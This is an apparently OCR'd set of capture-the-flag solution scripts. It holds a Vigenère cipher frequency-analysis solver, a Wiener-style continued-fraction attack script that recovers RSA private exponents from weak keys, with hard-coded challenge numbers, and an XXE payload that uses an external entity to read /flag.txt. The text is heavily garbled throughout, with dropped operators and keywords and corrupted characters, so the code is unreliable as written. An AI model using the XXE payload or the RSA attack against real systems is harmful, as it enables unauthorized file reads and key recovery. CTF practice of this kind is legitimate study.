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itertools
string
Sys

textwrap

Run this script in a shell with the ciphertext to decode on STDIN
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# Vienere encryption and decryption functions
o D e e e e e e e

def vigenere(plaintext, key, a_is_zero=True):

key = key.lower()

if not all(k in string.ascii_lowercase for k in key):

raise ValueError("Invalid key {!r}; the key can only consist of English letters".format(key))

key iter = itertools.cycle(map(ord, key))

return "".join(
chr(ord('a") + (

(next(key_iter) - ord('a') + ord(letter) - ord('a")) # Calculate shifted value

+ (0 if a_is_zero else 2) # Account for non-zero indexing

) % 26) if letter in string.ascii_lowercase # Ignore non-alphabetic chars
else letter
for letter in plaintext.lower()

vigenere_decrypt(ciphertext, key, a_is_zero=True):
# Decryption is encryption with the inverse key
key_ind = [ord(k) - ord('a"') for k in key.lower()]

inverse = .join(chr(ord('a") +
((26 if a_is_zero else 22) -
(ord(k) - ord('a"))

) % 26) for k in key)

return vigenere(ciphertext, inverse, a_is_zero)

test_vigenere(text, key, a_is_ zero=True):

ciphertext = vigenere(text, key, a_is_zero)

plaintext = vigenere_decrypt(ciphertext, key, a_is_zero)

assert plaintext == text, "{!r} -> {!r} -> {!r} (a {}= 0)".format(

text, ciphertext, plaintext, if a_is _zero else "!")
#t Test that the Vigenere encrypt and decrypt work (or are at least inverses)
for text in ["rewind", "text with spaces", "pun.ctuation", "numb3rs"]:
for key in ["iepw", "aceaq", "safe", "pwa"]:
test _vigenere(text, key, True)
test_vigenere(text, key, False)

# Now that we're sure that all the vigenere stuff is working...
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# Cipher solver




# From http://code.activestate.com/recipes/142813-deciphering-caesar-code/

ENGLISH FREQ = (0.0749, 0.0129, 0.0354, 0.0362, 0.1400, 0.0218, 0.0174, 0.0422, 0.0665, 0.0027, 0.0047,
0.0357, ©0.0339, 0.0674, 0.0737, 0.0243, 0.0026, 0.0614, 0.0695, 0.0985, 0.0300, 0.0116,
0.0169, 0.0028, 0.0164, 0.0004)

def compare_freq(text):

Compare the letter distribution of the given text with normal English. Lower is closer.

Performs a simple sum of absolute difference for each letter

if not text:
return None
text = [t for t in text.lower() if t in string.ascii_lowercase]
freq = [@] * 26
total = float(len(text))
for 1 in text:
freq[ord(l) - ord('a')] += 1
return sum(abs(f / total - E) for f, E in zip(freq, ENGLISH_FREQ))

solve_vigenere(text, key_min_size=None, key_max_size=None, a_is_zero=True):

Solve a Vigenere cipher by finding keys such that the plaintext resembles English

Returns:

the first and second best from the set of best keys for each length

This is not a brute force solver; instead, it takes advantage of a weakness in the cipher to
solve in O(n * K*2) where n is the length of the text to decrypt and K is the length of the
longest key to try.

The idea is that for any key length, the key is used repeatedly, so if the key is of length k
and we take every k'th letter, those letters should have approximately the same distribution as
the English language on a whole. Furthermore, since each letter in the key is independent, we
can perform the analysis for each letter in the key by taking every k'th letter at different
starting offsets. Then, since the letters in the key are independent, we can construct the best
key for a given length by simply joining the best candidates for each position.

best_keys = []

key min_size = key min_size or 1

key max_size = key max_size or 20

text_letters [c for c in text.lower() if c in string.ascii_lowercase]

for key_length in range(key_min_size, key max_size):
# Try all possible key lengths
key = [None] * key length
for key_index in range(key_ length):
letters = "".join(itertools.islice(text_ letters, key index, None, key length))
shifts = []
for key_char in string.ascii_lowercase:
shifts.append(
(compare_freq(vigenere_decrypt(letters, key char, a_is_zero)), key char)
)
key[key_index] = min(shifts, key=lambda x: x[0])[1]
"".join(key))
best_keys.sort(key=1lambda key: compare_freq(vigenere_decrypt(text, key, a_is_zero)))

best_keys.append(




return best_keys[:2]

CIPHERTEXT = sys.stdin.read().strip()

print "Solving Vigenere cipher:"

print "*" * 80

print textwrap.fill(CIPHERTEXT, 89)

print "*" * 80

for key in reversed(solve_vigenere(CIPHERTEXT)):
print ""
print "Found key: {!r}".format(key)
print "Solution:"
print "=" * 80
print textwrap.fill(vigenere_decrypt(CIPHERTEXT, key))
print "=" * 80
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import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator

import binascii

def hack_RSA(e,n):

frac ContinuedFractions.rational_to_contfrac(e, n)
convergents ContinuedFractions.convergents_from_contfrac(frac)

for (k,d) in convergents:

if k!=0 and (e*d-1)%k
phi (e*d-1)//k
s phi 1

discr s*s 4%n
if(discr>=0):
t = Arithmetic.is _perfect_square(discr)
if t!=-1 and (s+t)%2==0:
print( )
return d

def test _hack RSA():
print(

while(times>0):




print(
print( , d)

hacked d hack RSA(e, n)
if d hacked d:

print(
else:

print(

print( , hacked d)

print( )

times

if _ _name__

(] 93233329287134031153658342577279978858147660880050161825720091363568871279795659501331245709194924178139
07072362183263242872600968722751009728047372771888563967063415867914583643875685579148368802107991838829017791560
174060503451992261799576875742788774243390310560719634789720219992974946820314802939572580353

n 10831784196037194486387996324752026726447279717417499260785686734674917217298919391626641928852084345413
7019374407815488807258970803711748686021308962479502958252550178329802695944387022233900379974720211224647425937
5161019073230508249672271697738321500894559008261698558072028050806042318719109646040290668273

C 62967132169895897004578576202001003381484927788637734193032964531847340267617591251480081297436355598128|
7129835454344489639514895119374277833430799149513068930055615330516662428479865724507981237582779353644800423513
485357718723908554543915240117995464419165823214748496569735844685568687856495834900999682293

d=hack_RSA(e, n)

print( ,d)

m (c, d,n)

print( ,m)

b )

b =b[2:]

C binascii.a2b_hex(b)

print(c)
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<IDOCTYPE xxe [
<!ELEMENT name ANY >

<IENTITY xxe SYSTEM "php://read=convert.base64-encode/resource=/flag.txt" >]>

<user><username>&xxe;</username><password>admin</password></user>
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, encoding ).read()

f = f.split( Y[1]
i [ (c.encode( ) .decode( ).replace( 5 ), 16) for c in f]
offset 25000

while True:

try:
print( {offset} .join([ (b-offset) for b in f]))
except:

continue

finally:
offset
print(
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